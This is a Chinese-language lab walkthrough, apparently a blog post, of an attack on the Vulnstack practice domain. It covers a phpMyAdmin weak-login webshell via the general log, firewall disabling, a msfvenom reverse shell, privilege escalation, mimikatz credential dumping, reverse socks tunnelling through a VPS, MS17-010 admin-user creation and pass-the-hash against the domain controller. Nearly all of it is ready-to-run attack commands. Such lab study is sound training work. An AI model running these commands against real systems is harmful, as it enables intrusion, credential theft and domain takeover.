• 环境搭建


    • 网络配置


      两块虚拟网卡,分别为52和72。
      kali:192.168.52.130
      win7(web服务器):192.168.52.132(连外网)192.168.72.128(连内网)
      win2K3(域中服务器):192.168.72.130
      win server(域控):192.168.72.129
      然后将win7的第二块网卡(72)的dns地址设置为域控的地址
    • 启动服务


      默认密码hongrisec@2020,在win7中启动phpstudy
       
  • 攻击web服务器


    nmap扫描发现80和3306开放,dirsearch扫描发现phpmyadmin,存在root/root弱口令可直接登入。
    攻击方式有很多,这里只采用数据库写马的方式。
    查看权限:show variables like '%secure_file%';
    (发现secure_file_priv的值为NULL,不能用into outfile的方式直接写马
    

    尝试用log写马:
    show variables like 'general%';(查看当前log的目录)
    set global general_log_file = "C:/phpStudy/www/1.php";(指定日志文件)
    SELECT ''(写马)
    

    然后用蚁剑连接。
    连接后首先查看防火墙状态并关闭
    • 关闭防火墙

      windows server 2K3 之前的版本
      netsh firewall set opmode disable
      

      之后的版本:
      netsh advfirewall set allprofiles state off
      
    • 查看防火墙配置
      netsh firewall show config
      
    • 修改防火墙配置
      windows server 2K3 之前的版本,允许指定程序全部连接:
      netsh firewall add allowedprogram c:\nc.exe "alloc nc" enable 
      

      windows server 2K3 之后的版本,允许指定程序进入
      netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
      

      允许3389端口放行:
      netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
      

 

  • 后渗透阶段


    • 信息收集


      whoami
      hostname
      net user
      ipconfig /all
      net localgroup
      administrators
      系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
      系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
      查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
      tasklist    或   wmic process list brief(查询进程)
      

      常见杀软的进程
      进程名软件
      360sd.exe360 杀毒
      360tray.exe360 实时保护
      ZhuDongFangYu.exe360 主动防御
      KSafeTray.exe金山卫士
      SafeDogUpdateCenter.exe安全狗
      McAfeeMcShield.exe
      egui.exeNOD32
      AVP.exe卡巴斯基
      avguard.exe小红伞
      bdagent.exeBitDefender

      (域信息收集见vulnstack2)
      ps:
      在域信息收集中,如果出现拒绝访问错误,是因为权限不够,需要先提权再进行查看。
      

       
    • 用CS进行后渗透


      设置监听

      然后选择attack中的package中的windows excutables(s),用刚才新建的listener接收shell。
      生成后用蚁剑传到www目录下,在终端中直接运行即可。
      连接后默认的sleep为60s,这里为了方便将其设置为sleep 0。
    • 用msf进行后渗透


      先用msfvenmo生成木马
      msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.52.130 LPORT=1234 -f exe -o run—_1234.exe
      

      在msf中设置监听
      use exploit/mutli/handler
      set payload windows/x64/meterpreter_reverse_tcp
      set lhost 192.168.52.130
      set lport 1234
      run
      

      同样用蚁剑上传马,运行后接收到反弹的shell
      meterpreter生成的进程不稳定容易掉,这里需要进程迁移
      ps(查看主机正在运行的进程)
      getpid(查看meterpreter shell的进程)
      migrate 1416(将shell进程迁移到explorer.exe中)
      或者用自动迁移进程命令:
      run post/windows/manage/migrate
      关闭防火墙命令:
      run post/windows/manage/enable_rdp
      
    • 各种提权方式


      • meterpreter提权

        getsystem一键提权
        
      • 发现缺失补丁

        wmic qfe get Caption, Description, HotFixID, InstalledOn(列出已安装的补丁)
        


        发现没有安装KB3139914补丁(MS16-032),可以利用msf进行提权
        还可以利用msf发现缺失补丁
        use post/windows/gather/enum_patches
        set SESSION 3
        run
        


        use post/multi/recon/local_exploit_suggester
        set LHOST 192.168.52.130
        set SESSION 3
        run
        


        显然,这台靶机是个筛子。。。
      • 利用cs自带的Elevate提权

        右击沦陷主机,在Access中选择Elevate(需要新建listener),可生成一个system权限的主机。
      • 使用mimikatz抓取密码

        run hashdump(获取密码的hash值,虽然感觉没什么用)
        

        使用mimikatz的前提:将meterpreter进程迁移到有system权限的64位进程
        ps
        migrate PID
        load mimikatz
        mimikatz_command -f sekurlsa::searchPasswords
        


        或者用kiwi
        load kiwi
        creds_all
        


         
  • 横向移动


    • 搭建隧道


      在进行横向渗透前,先将该web服务器配置为代理服务器当作跳板机。
      • 直接用msf搭建sock隧道

        在session中自动创建路由并使用proxychains代理(不过过了一会就莫名断了)
        run post/multi/manage/autoroute
        run autoroute -p
        background
        use auxiliary/server/socks5
        run
        可用jobs查看任务是否执行
        

        然后配置proxychains.conf,端口都设置为1080
      • 搭建SSH隧道绕过firewall直连3389端口

        192.168.52.1上执行:
        ssh -CfNg -L 1153:192.168.52.129:3389 root@192.168.52.130(转发)
        在meterpreter中开启3389:
        run post/windows/manage/enable_rdp
        rdesktop 192.168.52.1:1153
        
      • 用ew做转发(推荐)

        先把ew传到web服务器上,实验环境中直接在web服务器上做正向代理即可
        在win7上运行:
        ew_for_Win.exe -s ssocksd -l 2080
        然后在kali上修改/etc/proxychains
        添加socks5 192.168.52.132(win7重启了一次,ip地址发生变化)
        

        在真实渗透环境中,需要通过公网服务器进行转发:
        1.在公网vps上执行:
        ./ew_for_linux64 -s rcsocks -l 2080 -e 2024 &
        2.在目标机器上执行
        ew_for_Win.exe -s rssocks -d 1.116.196.115 -e 2024
        3.在本地kali上添加proxychains规则,连向1.116.196.115 2080
        
    • 内网信息收集


      使用msf内置模块
      auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
      auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
      auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机
      auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
      auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
      auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
      auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
      auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
      auxiliary/scanner/http/title                 #探测内网http服务的标题
      auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
      auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
      auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
      auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
      auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
      auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
      auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
      auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字
      

      使用nmap+代理扫描:
      proxychains nmap -Pn -sT 192.168.72.130   
      
    • 利用已知漏洞攻击


      ms17-010(445)和 ms19-0708(3389),在msf中使用proxychainsdaili
      set proxies socks5:192.168.52.132:2080
      

      然后可尝试使用ms17-010对win2K3和域控进行攻击(因为msf的对应模块出bug所以没有演示)
      这里仅尝试用ms17-010添加管理员用户并尝试用3389登录
      use auxiliary/admin/smb/ms17_010_command
      set rhosts 192.168.72.130
      set command net user moonflower 1qaz@WSX /add(添加用户)
      run
      set command net localgroup administrators moonflower /add(把用户添加到管理员组)
      run
      set command net localgroup administrators(查看管理员组)
      run
      set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'(打开3389端口)
      run
      

      利用代理可用成功登录到计算机(但无法登录到域中)

      同理也可以用来攻击192.168.72.129(域控)
  • 利用ipc连接域控


    建立ipc$连接
    net use \\192.168.72.129\c$ "1qaz@WSX" /user:"Administrator"
    可以查看域控的目录:
    dir \\192.168.72.129\c$
    
  • hash传递攻击


    前面用mimikatz抓取了域管理员administrator的hash,在没有明文密码的情况下,可用使用hash传递攻击
    mimikatz中运行:
    sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:161cff084477fe596a5db81874498a24
    

标签: none

添加新评论